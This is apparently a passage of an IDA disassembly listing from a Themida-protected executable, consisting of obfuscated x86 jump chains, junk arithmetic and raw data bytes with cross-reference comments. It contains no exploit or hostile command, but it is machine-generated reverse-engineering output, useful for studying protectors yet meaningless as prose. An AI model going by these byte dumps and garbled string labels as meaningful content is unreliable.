		dd 81E78957h, 4C7h, 0BF575600h,	203DE6h, 0DFC21EBEh, 9810E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56662E:				; CODE XREF: Themida_:0055F862j
		mov	ebx, 4
		jmp	loc_561E4B
; ---------------------------------------------------------------------------


loc_566638:				; CODE XREF: Themida_:00560DA2j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_569ADB
; ---------------------------------------------------------------------------


loc_566652:				; CODE XREF: Themida_:0056AE55j
		shl	ebx, 4
		sub	ebx, 1F08379Ch
		add	ebx, 99F5C7A2h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_56536C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 62B4E9h, 5EF58900h, 7DC7E94Dh, 0E955FFFFh, 2A99h, 4C481h
		dd 0C7810000h, 6D74DDh,	8104EFC1h, 0EA9BF7EFh, 0E9FA898Ah
		dd 0FFFF5B99h, 6A33C781h, 0A0E947AEh, 8000002Bh, 0D100A0E9h
		dd 5AA0C180h, 2EC81h, 89660000h, 14F6240Ch, 5939E924h
		dd 515A0000h, 63C63B9h,	0F2E1812Ch, 5115321Eh, 592404FFh
		dd 5E57F181h, 0D8E904BCh, 5BFFFF67h, 5104C483h,	4B9h, 0BFB95100h
		dd 0E95D7A54h, 0BCDh
; ---------------------------------------------------------------------------


loc_5666F4:				; CODE XREF: Themida_:00564998j
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56767E
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 6624248Bh, 2404A30Fh, 4E3BE99Ch
		dd 15AFFFFh, 0E9565EF5h, 2B9Ah,	31243433h, 34332434h, 24248B24h
		dd 0E9241489h, 0FFFF934Bh, 7566E958h, 45BF0000h, 0E9020D56h
		dd 5271h, 8104C483h, 3B23A9F1h,	0BD555B24h, 29BB64DEh
		dd 0CA3E9h, 0E9D80100h,	0FFFFE671h, 487B68h, 240C8900h
		dd 3FCB9h, 6AC56800h, 2C890000h, 2405BD24h, 69E90834h
		dd 0B8000013h, 0D325A5Ch, 0E958C329h, 28BDh, 42Dh, 24048700h
		dd 77E3685Ch, 24890000h, 4B85024h, 81000000h, 0E5042444h
		dd 15D1276h, 81042444h,	0E504246Ch, 585D1276h, 5912E9h
		dd 24148900h, 4EC81h, 24890000h, 24048324h, 0C2815A04h
		dd 4, 0FF9C2AE9h, 0E9C329FFh, 0FFFF4F04h, 0D3F7DA87h, 0EA81DA87h
		dd 0BF14ABFFh, 565AD089h, 0C681E689h, 4, 4EE81h, 34870000h
		dd 90B4E924h, 0B951FFFFh, 12C111E0h, 159CB01h, 0E0EB81FBh
		dd 8312C111h, 348904ECh, 2390BE24h, 0EEC148A5h,	0F8EE8105h
		dd 299C5102h, 0EC815EF3h, 4, 0BE243489h, 7E1910F0h, 0FF8ADBE9h
		dd 48F58FFh, 31E83124h,	31E831C5h, 31EB31DDh, 31D3F7DDh
		dd 31EB31DDh, 1A6850DDh, 89000029h, 5D58242Ch, 0E9240487h
		dd 0FFFF4CE5h, 62E9E789h, 0BAFFFF8Bh, 4728494Eh, 0FFD463E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566881:				; CODE XREF: Themida_:0056F144j
		pop	ebx
		sub	eax, 1
		jmp	loc_5617A6
; ---------------------------------------------------------------------------
aZSnl		db '‡,$él',0
		align 4
		dd 4EC81h, 4890000h, 5976B824h,	0E52563E8h, 480FA510h
		dd 7E95E9h, 32C28100h, 81792745h, 0FB7D81CAh, 3EAC165h
		dd 0FF5B35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5668C1:				; CODE XREF: Themida_:00561DDAj
		push	edx
		push	edi
		push	ebx
		mov	ebx, 31D34E26h
		add	ebx, 0CE2CB1DAh
		mov	edi, ebx
		jmp	loc_560290
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 0F7B29E3Ch, 3C8BF931h, 0C063E924h, 1C87FFFFh, 0EC835C24h
		dd 242C8904h, 42474FFh,	6EA5E95Dh, 0DF2DFFFFh, 8B073520h
		dd 0FAE9243Ch
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566907:				; CODE XREF: Themida_:00565AA2j
		not	bl
		jmp	loc_56E129
; ---------------------------------------------------------------------------
		dw 0DA31h
		dd 8BD6895Bh, 71E92414h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56691B:				; CODE XREF: Themida_:0056370Fj
		mov	edi, 4BF708B0h
		xor	edi, 375B0793h
		jmp	loc_55F5FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 24148704h, 0D324248Bh, 0E99C243Ch, 0FFFF4C15h
		dd 0EAE9F031h, 0AD00002Ah, 39E9D831h, 2D00001Ah, 2021FFFCh
		dd 8158C701h, 4EFh, 243C8700h, 2404895Ch, 0FF7A2EE9h, 9E6842FFh
		dd 0E900007Ah, 1770h, 0FF3C581h, 0C5010629h, 0A637E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566982:				; CODE XREF: Themida_:00561CD0j
		push	bx
		mov	bh, 0D5h
		mov	dl, bh
		pop	bx
		jmp	loc_56E6B4
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0
		dd 25F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_566999:				; CODE XREF: Themida_:0056126Dj
		push	esi
		pop	ebp
		jmp	loc_561640
; ---------------------------------------------------------------------------
aEIS4		db 'ºÖE°%‰ÑéÒ4',0
		align 4
		dd 55241489h, 0EF79AFBDh, 5DEA8943h, 0E95AD031h, 323Bh
; ---------------------------------------------------------------------------


loc_5669C0:				; CODE XREF: Themida_:0055CC83j
		push	ecx
		jmp	loc_56B4A5
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 34FF0424h, 0C4815F24h, 4, 5C24048Fh,	0FF6F59E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5669DD:				; CODE XREF: Themida_:00560A16j
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		push	edx
		mov	dl, ah
		sub	esp, 4
		mov	[esp], eax
		mov	al, dl
		sub	esp, 4
		jmp	loc_567544
; ---------------------------------------------------------------------------
		db 68h,	14h, 71h
		dd 2C890000h, 2D07E924h, 4050000h, 52000000h, 4BAh, 1AE6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566A1A:				; CODE XREF: Themida_:005647C6j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	6D5Ch
		mov	[esp], ebp
		push	esp
		jmp	loc_569B85
; ---------------------------------------------------------------------------
		dd offset dword_457444+3B724h
		dd 0B055E900h, 0BBDFFFFh, 2973686Ah, 335F5DEEh,	34312434h
		dd 24343324h, 2434895Ch, 0FF7ED2E9h, 0B15166FFh, 66CB00ABh
		dd 5BD93059h, 0E9CFC180h, 0FFFF51A1h, 6A53E951h, 15F0000h
		dd 0EA8958C5h, 7EF2815Dh, 17D125Fh, 24148BD0h, 9AF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_566A89:				; CODE XREF: Themida_:0056F699j
		neg	edi
		jmp	loc_563D95
; ---------------------------------------------------------------------------
		dd 24348155h, 0CC47D2Ah, 81240C8Bh, 4C4h, 2AF18100h, 8B0CC47Dh
		dd 0C483242Ch, 37FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566AB2:				; CODE XREF: Themida_:0056A541j
		mov	eax, 3E2278FEh
		jmp	loc_56D720
; ---------------------------------------------------------------------------
		dd 4BDh, 5DE88900h, 8358C701h, 69E904EFh, 0B3FFFFD0h, 612FE90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566AD6:				; CODE XREF: Themida_:00563896j
		mov	ecx, [edx]
		pop	edx
		push	eax
		push	1809h
		mov	[esp], ecx
		jmp	loc_56EB9D
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5A52EF81h, 0C681F9FEh, 4493565Bh, 0FF4B2AE9h, 51E089FFh
		dd 4B9h, 59C80100h, 0E904C083h,	0FFFFB249h
; ---------------------------------------------------------------------------


loc_566B0C:				; CODE XREF: Themida_:00561481j
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dd 0E945D5F7h, 0FFFFA150h, 4B8h, 8FE9E900h, 0D9010000h
		dd 4D54E981h, 7AE939FCh, 8BFFFFF4h, 0C483242Ch,	0E9DBF704h
		dd 0FFFF6AF0h
; ---------------------------------------------------------------------------


loc_566B54:				; CODE XREF: Themida_:0056A14Bj
		sub	[esp+8], ebx
		jmp	loc_565E38
; ---------------------------------------------------------------------------
		db 0FFh, 32h, 0E9h
		dd 0FFFF49F1h, 8BF18141h, 0E92A582Eh, 8C3Ah, 8704C083h
		dd 0AEE92404h, 0B8000079h, 4, 48BC101h,	4C48124h, 87000000h
		dd 8B5C240Ch, 21E9241Ch
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566B97:				; CODE XREF: Themida_:0055C00Dj
		add	eax, 1AE861DBh
		jmp	loc_564821
; ---------------------------------------------------------------------------
		db 4, 4Dh, 0E9h
		dd 596Eh, 87A8E955h, 0C4830000h, 4EC8304h, 0BB241C89h
		dd 17697335h, 551FC381h, 0E3C10DEFh, 0FE685608h, 5E58C853h
		dd 46B7BE56h, 33E95E68h, 8B00008Fh, 0C483242Ch,	240C3304h
		dd 33240C31h, 248B240Ch, 0E9F9F724h, 7CF6h, 39240481h
		dd 8B481110h, 8950240Ch, 0C34EE9E0h, 555EFFFFh,	1E2584BDh
		dd 0E94D451Eh, 0FFFF965Ah, 33241431h, 248B2414h, 0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 815A5452h,	4C2h, 0FBE5600h
		dd 0F769456Dh, 0EEB850D6h, 51BBD37h, 4D883526h,	0E958C601h
		dd 8491h, 52C5B951h, 0E9810A02h, 2C890890h, 0D9F7E9D1h
		dd 0FF9FE8E9h, 4EC81FFh, 0E9000000h, 614Ah, 0C181E189h
		dd 4, 4C181h, 0C870000h, 0C3805C24h, 6A26E94Ah,	0C8BFFFFh
		dd 4C48124h, 81000000h,	4ECh, 241C8900h, 4623F7BBh, 5BD9310Dh
		dd 0FF78B0E9h, 5BD931FFh, 69B8E181h, 0E18161B4h, 363E64B4h
		dd 0FFAEBBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566CBD:				; CODE XREF: Themida_:0056A20Dj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56D87B
; ---------------------------------------------------------------------------
		dd 8198E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566CE6:				; CODE XREF: Themida_:00561CDFj
		add	esi, ebx
		pop	ebx
		push	eax
		push	ecx
		mov	ecx, 43486F82h
		shr	ecx, 5
		push	edi
		mov	edi, 17414AAAh
		add	ecx, 0EA51BB9h
		add	ecx, edi
		jmp	loc_56D7C0
; ---------------------------------------------------------------------------


loc_566D06:				; CODE XREF: Themida_:0055EF70j
		mov	edi, 237DF24Ch
		add	esi, 49BF748Ch
		add	esi, edi
		sub	esi, 49BF748Ch
		pop	edi
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_56E458
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_560380
; ---------------------------------------------------------------------------
		dd 305D0F7h, 0E912022Ch, 0FFFF838Ah
; ---------------------------------------------------------------------------


loc_566D50:				; CODE XREF: Themida_:0055DB07j
		xchg	esi, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_55F52A
; ---------------------------------------------------------------------------


loc_566D5C:				; CODE XREF: Themida_:0056397Fj
		xor	ebx, 0AE50C40h
		add	edx, ebx
		jmp	loc_565A38
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 87h
		dd 81534871h, 7B42CBCBh, 0E9E3D17Fh, 30A5h, 5C240C33h
		dd 52242489h, 4BAh, 24540100h, 2434FF04h, 946BE9h
		db 0
; ---------------------------------------------------------------------------


loc_566D95:				; CODE XREF: Themida_:0056A946j
		xor	edx, 64006D99h
		add	eax, edx
		pop	edx
		add	eax, 3CEC2765h
		add	eax, edx
		sub	eax, 3CEC2765h
		sub	eax, 6C696B4Bh
		pop	edx
		jmp	loc_568BF0
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4ECh, 84D6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566DC6:				; CODE XREF: Themida_:0056A183j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 662793Ch
		push	ebp
		mov	ebp, 3C9B2A57h
		add	ebp, 678021A2h
		and	ebp, 73B614BBh
		shr	ebp, 4
		not	ebp
		jmp	loc_562490
; ---------------------------------------------------------------------------


loc_566DF0:				; CODE XREF: Themida_:00563315j
		sub	ebp, 4A5C0A93h
		push	edx
		mov	edx, 2DDF7227h
		add	edx, 32E059B5h
		or	edx, 64A61C99h
		neg	edx
		add	edx, 0BB460E76h
		sub	ebp, edx
		pop	edx
		shl	ebp, 3
		xor	ebp, 46A05233h
		xor	ebp, 0CA627B77h
		add	ecx, ebp
		jmp	loc_563B5B
; ---------------------------------------------------------------------------
		db 83h,	0EBh, 4
		dd 7A22E9h, 0F5E98100h,	0E942D67Ch, 5C72h
; ---------------------------------------------------------------------------


loc_566E3C:				; CODE XREF: Themida_:0056C647j
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_55C743
; ---------------------------------------------------------------------------


loc_566E46:				; CODE XREF: Themida_:0055FC96j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_564C5B
; ---------------------------------------------------------------------------


loc_566E51:				; CODE XREF: Themida_:00565B9Fj
		push	esp
		pop	ebp
		push	edi
		jmp	loc_5616AF
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D3010000h, 4BD555Ah, 1000000h, 77E95DEBh, 81FFFFFAh
		dd 89FE8FF5h, 5DEB29FAh, 5BF8C381h, 0EB014B03h,	5BF8EB81h
		dd 0C3814B03h, 75EB3F41h, 7380EB81h, 335D0959h,	1C31241Ch
		dd 241C3324h, 0FF888EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566EA1:				; CODE XREF: Themida_:00565941j
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_563FC7
; ---------------------------------------------------------------------------
		db 80h
		dd 0B5512FCCh, 3E5C06Bh, 0F580CDFEh, 0F6DDF6EBh, 0C6ED80D5h
		dd 2059EC28h, 0C78058E7h, 36B652AAh, 0E9B1EE80h, 0FFFF7B87h
		dd 240C8B66h, 8804E950h, 0C14AFFFFh, 7DE905E2h,	33FFFF4Bh
		dd 0E95C2414h, 0FFFFD698h, 1C8BF828h, 4C48324h,	807AB753h
		dd 0F80086F7h, 58C1005Bh, 0FF76BDE9h, 3EE95AFFh
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566F17:				; CODE XREF: Themida_:00570077j
		mov	ebp, esp
		jmp	loc_56303C
; ---------------------------------------------------------------------------


loc_566F1E:				; CODE XREF: Themida_:0056C8ACj
		push	edx
		jmp	loc_56A83C
; ---------------------------------------------------------------------------


loc_566F24:				; CODE XREF: Themida_:0056A638j
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		jmp	loc_562F08
; ---------------------------------------------------------------------------
aPsrh		db 'PéH',0
		dd 0E9545700h, 7039h, 5C243487h, 0E9243489h, 0FFFF76D2h
		dd 9CC83B5Ch, 0FF4604E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566F51:				; CODE XREF: Themida_:0056F37Aj
		push	ebx
		mov	ebx, 79D661B9h
		push	eax
		mov	eax, ebx
		mov	ecx, eax
		pop	eax
		jmp	loc_56D041
; ---------------------------------------------------------------------------


loc_566F62:				; CODE XREF: Themida_:0056885Bj
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	ebp
		jmp	loc_565B6A
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFD549h, 6624248Bh, 66240C89h, 66C8B60Fh
		dd 0CAE99C51h, 66FFFF45h, 0C2E9028Fh, 52FFFF45h, 30E1E9h
		dd 81E58900h, 4C5h, 4C58300h, 0E9242C87h, 0FFFF47C4h, 4C4835Ah
		dd 1EA7B850h, 9EE94CD2h, 55FFFF47h, 1CE9FD89h, 31FFFFF0h
		dd 0BA525FFEh, 59B86B3Fh, 0D2F7DAF7h, 48FAEA81h, 0D3015920h
		dd 81F3015Ah, 982244EBh, 3D36E900h, 24890000h, 24048324h
		dd 0B7685A04h, 89000036h, 4BF243Ch, 1000000h, 2FE95FFAh
		dd 89000008h, 34FF241Ch, 2434FF24h, 4C48358h, 4EC81h, 14890000h
		dd 0A3E95424h, 80FFFFF6h, 0C2FEFFC2h, 0C022B551h, 0C5FE06EDh
		dd 0E9B6E580h, 0FFFF8BAFh, 449DC181h, 0F9291FCBh, 449DE981h
		dd 3C8B1FCBh, 4C48124h,	1000000h, 0BBC181F1h, 5741B355h
		dd 56922BFh, 5034E977h,	8B66FFFFh, 8957240Ch, 0C4BB53E7h
		dd 432E8541h, 0E3D1D3F7h, 0FFC237E9h, 0BE5657FFh, 651A4F2Eh
		dd 0C15EF789h, 0E95507EFh, 0FFFF6878h, 0CB87D1F7h, 1BD5543h
		dd 81000000h, 251B31EBh, 81EB2913h, 251B31C3h, 0FAA1E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5670A6:				; CODE XREF: Themida_:005601A4j
		push	945BCDEDh
		pop	esi
		add	ecx, 43F434CBh
		sub	ecx, esi
		sub	ecx, 43F434CBh
		pop	esi
		jmp	loc_55ECE9
; ---------------------------------------------------------------------------


loc_5670C0:				; CODE XREF: Themida_:0056CEE4j
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, edx
		neg	edx
		shl	edx, 6
		jmp	loc_5613DB
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 8950241Ch, 405E0h, 0C0830000h, 24048704h
		dd 4C4835Ch, 8904EC83h,	5CBF243Ch, 0F736A741h, 1EF83D7h
		dd 81D7F74Fh, 8E1E3BF7h, 0FFF8316Ch, 98E92434h,	83FFFF8Eh
		dd 0E2C104C4h, 0E5BE5608h, 0C145D15Bh, 0EEC107EEh, 4954E908h
		dd 0D9010000h, 0F208E95Bh, 0C101FFFFh, 4BD5558h, 0E9000000h
		dd 0FFFF941Fh
; ---------------------------------------------------------------------------


loc_567138:				; CODE XREF: Themida_:00569F90j
		mov	[esp], eax
		mov	eax, 349A1390h
		push	esi
		mov	esi, 8120829h
		jmp	loc_55ECF4
; ---------------------------------------------------------------------------
		db 52h
		dd 0D700C0B2h, 0C780585Ah, 8BFE306Ah, 0C481241Ch, 4, 28A6C680h
		dd 0B2525AF3h, 0F6CAFEC2h, 0FECAFED2h, 82E4E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567176:				; CODE XREF: Themida_:00566423j
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		sub	ebx, 298969C3h
		jmp	loc_5618E9
; ---------------------------------------------------------------------------


loc_567187:				; CODE XREF: Themida_:0055DCBEj
		sub	esi, 4BCD7A03h
		jmp	loc_565116
; ---------------------------------------------------------------------------


loc_567192:				; CODE XREF: Themida_:0056A7B4j
		add	ebp, 2C2637D7h
		sub	ebp, eax
		push	esi
		mov	esi, 2C2637D7h
		jmp	loc_56DC1C
; ---------------------------------------------------------------------------
aZsx_		db 'Zéx.',0
		dw 5100h
		dd 240C8B5Ah, 0E904C483h, 23Dh,	0E907E5C1h, 0FFFF811Ah
		dd 8BDA015Eh, 0C481241Ch, 4, 2B850h, 0C2010000h, 1BFCE9h
		dd 81E78900h, 4C7h, 0B2A2E900h,	34FFFFFFh, 89505924h, 405E0h
		dd 42D0000h, 87000000h,	0E95C2404h, 2229h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_567D18
; ---------------------------------------------------------------------------


loc_567223:				; CODE XREF: Themida_:00569EA8j
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_564CCA
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 96h
		dd 0E903EEC1h, 0FFFFA3E3h
; ---------------------------------------------------------------------------


loc_56723C:				; CODE XREF: Themida_:0056078Aj
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_55F136
; ---------------------------------------------------------------------------
		dw 0EAC0h
		dd 49EA8004h, 134AE9h, 2DBF6800h, 13E90000h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56726B:				; CODE XREF: Themida_:005602FDj
		pop	esp
		add	esp, 4


loc_567272:				; CODE XREF: Themida_:00561DC5j
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		sub	esi, 5BF2061Ah
		add	esi, ecx
		add	esi, 5BF2061Ah
		pop	ecx
		push	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56556B
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 2Dh
		dd 0C14FED17h, 0C6E906EAh, 55FFFFC6h, 4BDh, 59F7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5672B2:				; CODE XREF: Themida_:005703F3j
		dec	esi
		jmp	loc_56A352
; ---------------------------------------------------------------------------
		dd 0D1F75F59h, 0FF492EE9h, 8BCB29FFh, 0C483240Ch, 0E9CB0104h
		dd 0FFFF4CADh
; ---------------------------------------------------------------------------


loc_5672D0:				; CODE XREF: Themida_:00565B72j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55E460
; ---------------------------------------------------------------------------
		db 66h
		dd 0B6E9E829h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5672E3:				; CODE XREF: Themida_:00564C90j
		mov	[esp], esi
		jmp	loc_56FC09
; ---------------------------------------------------------------------------


loc_5672EB:				; CODE XREF: Themida_:00567AD7j
		push	ecx
		jmp	loc_55D306
; ---------------------------------------------------------------------------
		db 0BBh, 0B3h, 75h
		dd 18293E63h, 4257E95Bh, 0CF00FFFFh, 4715E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567306:				; CODE XREF: Themida_:00560801j
		sub	ebx, eax
		pop	eax
		jmp	loc_56FA19
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 7AF768h, 6B10E900h, 0D8880000h, 6B43E9h, 4C18100h
		dd 0E9000000h, 10F0h, 0EAC1DAF7h, 0A5F28106h, 0E903EFEAh
		dd 0FFFF4F3Bh, 4C4815Ah, 0E9000000h, 56AFh, 5B2434FFh
		dd 0FFD8FCE9h, 68ABB1FFh, 11DEh, 0E9241C89h, 0FFFFDBEAh
		dd 4C3815Bh, 81000000h,	4EBh, 6458E900h, 0DC2DFFFFh, 1344348h
		dd 48DC05D8h, 0DEE93443h, 81FFFF99h, 332B4FCBh,	0B32FE919h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567392:				; CODE XREF: Themida_:0056369Cj
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ebx, edx
		pop	edx
		jmp	loc_55B98C
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 0FF9811E9h, 80C328FFh, 586604C3h, 34FFD828h,	0E9515B24h
		dd 443Bh
; ---------------------------------------------------------------------------


loc_5673C0:				; CODE XREF: Themida_:0056155Aj
		or	esi, 63FF7325h
		or	esi, 23AD0ACEh
		add	esi, 11311D82h
		jmp	loc_560E46
; ---------------------------------------------------------------------------
aCSfp		db 'Áæ',7,'é”P',0
		db 0
; ---------------------------------------------------------------------------


loc_5673DF:				; CODE XREF: Themida_:0056E60Bj
		push	ebx
		push	6E24943h
		mov	ebx, [esp]
		jmp	loc_56C1AC
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 472E9h, 8BD02900h, 0E9522414h, 0FFFF68D0h, 8244481h
		dd 4C751881h, 8246C29h,	8246C81h, 4C751881h, 81242C8Bh
		dd 4C4h, 244C0100h, 24448104h, 0BB64DE04h, 8F5929h, 39A9E9h
		dd 0E9CA8900h, 2F8Bh, 789DBE56h, 6EE94C45h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567443:				; CODE XREF: Themida_:0056A1CBj
		or	edx, eax
		jmp	loc_56A6BE
; ---------------------------------------------------------------------------


loc_56744A:				; CODE XREF: Themida_:0056DD06j
		mov	edi, esp
		push	ebx
		push	edi
		mov	edi, 28C045FEh
		mov	ebx, 28C045FAh
		xor	ebx, edi
		pop	edi
		add	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 43EB66FAh
		shl	eax, 4
		or	eax, 788C7DF2h
		xor	eax, 798D4F78h
		xor	eax, 733308Eh
		add	edi, eax
		jmp	loc_56B0EF
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 2Dh
		dd 13581784h, 2D58C731h, 1F421B29h, 0BE56F801h,	1F421B29h
		dd 69E9F001h, 80FFFFB0h, 5166DDEFh, 0EF282EB5h,	0F8005966h
		dd 87E9515Bh, 59000005h, 4C181h, 0E9830000h, 240C8704h
		dd 2414895Ch, 4EC81h, 0C890000h, 58B25224h, 505AD588h
		dd 0DCF6BBB4h, 200EC480h, 0B65258E5h, 0FFC680ECh, 0E9E3C680h
		dd 2035h, 8324048Fh, 8F042404h,	4832404h, 5AE90424h, 83FFFF40h
		dd 348704C6h, 90E95C24h, 0E9FFFF78h, 0FFFF4049h
; ---------------------------------------------------------------------------


loc_56750C:				; CODE XREF: Themida_:0056EB04j
		push	eax
		mov	eax, esp
		jmp	loc_55B925
; ---------------------------------------------------------------------------
		dd 0E903EBC1h, 2FEFh, 3BE9555Ch, 80000044h, 0F83096C7h
		dd 81241C8Bh, 4ECh, 2E5EE900h, 0C2810000h, 0E496DD95h
		dd 0E95AD501h, 5DEAh
; ---------------------------------------------------------------------------


loc_567544:				; CODE XREF: Themida_:005669F8j
		mov	[esp], ecx
		mov	cl, al
		jmp	loc_56CDD0
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 317645F5h, 82AFE949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56755A:				; CODE XREF: Themida_:0055DDCEj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 265B6083h
		jmp	loc_56825A
; ---------------------------------------------------------------------------


loc_56756A:				; CODE XREF: Themida_:0055E43Cj
		sub	ecx, 5B1912C8h
		jmp	loc_56B250
; ---------------------------------------------------------------------------
		db 5Ah,	30h, 0F9h
		dd 0E9241C8Bh, 0FFFFCA08h, 8104C483h, 0A62C79F1h, 59C88953h
		dd 21342035h, 58C30171h, 0BAE9008Fh, 81FFFF3Fh,	8C25A9F1h
		dd 14C18176h, 817C087Fh, 85E0B8F1h, 0E9CB29AFh,	731Ch
		dd 5A2434FFh, 0E9E18951h, 0FFFFAB72h, 9C4FD3BBh, 0FFDF8947h
		dd 815B2434h, 4C4h, 1C78100h, 51000000h, 893BE953h, 0EF810000h
		dd 0F7E1C14h, 24348757h, 0C1E9D6F7h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5675EF:				; CODE XREF: Themida_:0056A32Aj
		xor	edx, [esp]
		jmp	loc_567C6C
; ---------------------------------------------------------------------------
		db 0BDh
		dd 760EC63Ah, 315DEA31h, 812BE9D0h, 81590000h, 4C1h, 0ABE95500h
		dd 29000025h, 0EE015FFEh, 72A5C681h, 2C8B5D68h,	4EC8124h
		dd 89000000h, 58542404h, 405h, 4C08300h, 31240433h, 4332404h
		dd 34875C24h, 7C1EE924h, 0E0C10000h, 7992D07h, 0C109B507h
		dd 57C18158h, 81D35264h, 365F86EDh, 81CD2939h, 365F86C5h
		dd 87585939h, 248B242Ch, 242CD224h, 94DDE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567676:				; CODE XREF: Themida_:0056399Aj
		push	edi
		mov	edi, esp
		jmp	loc_562AA0
; ---------------------------------------------------------------------------


loc_56767E:				; CODE XREF: Themida_:005666FEj
		push	7945h
		mov	[esp], edx
		mov	edx, 4E125A7Ah
		push	eax
		mov	eax, 6FF21D0Bh
		jmp	loc_56D376
; ---------------------------------------------------------------------------
		dw 5BDh
		dd 1789043h, 0AD66E9EBh, 0F681FFFFh, 7BFC09B5h,	0BE9F101h
		dd 80FFFFBFh, 32E9D0C6h, 0BEFFFFD3h, 398C7F91h,	0F01E84BBh
		dd 858DE913h, 0F001FFFFh, 0FF8F01E9h, 68DC04FFh, 463Eh
		dd 0B7241C89h, 80E951E5h, 56FFFF75h, 5706B850h,	8E0D3F44h
		dd 35457332h, 41FA6EA7h, 0D2E9C689h, 0B2000037h, 0A0B2520Eh
		dd 21CDE9h, 81E78900h, 4C7h, 4C78100h, 87000000h, 835C243Ch
		dd 343302C6h, 24343124h, 8B243433h, 0F662424h, 9C2404ABh
